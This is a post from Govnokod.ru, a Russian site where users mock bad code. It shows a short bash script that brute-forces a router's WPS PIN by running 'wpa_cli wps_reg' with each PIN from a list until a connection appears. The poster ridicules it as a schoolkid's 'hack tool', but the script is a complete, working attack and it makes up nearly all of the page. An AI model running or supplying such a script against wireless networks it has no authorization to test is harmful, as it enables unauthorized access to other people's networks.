1. bash / Говнокод #23326

    −1

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    #!/bin/bash
    
    mac=$1
    file=$2
    
    count=$(cat $file|wc -l)
    declare -i i=0
    while ((i<count)); do
      let tmp=i+1
      pins[$i]=$(cat $file|head -$tmp|tail -1)
      ((i++))
    done
    
    ((i=0))
    while ((i<count)); do
      echo "$i/$count"
      echo "> wpa_cli wps_reg $mac ${pins[$i]}"
    	wpa_cli wps_reg $mac ${pins[$i]}
      echo
    	sleep 3
      iwconfig &>tmp
      if grep -q $mac tmp; then
        echo "Подключено! PIN: ${pins[$i]}"
        rm tmp
        exit 0
      fi
    	((i++))
    done
    rm tmp

    Это типа хактул
    Похож на школопедища творение

    Запостил: MasterGovnokodinga, 03 Сентября 2017

    Комментарии (1) RSS

    Добавить комментарий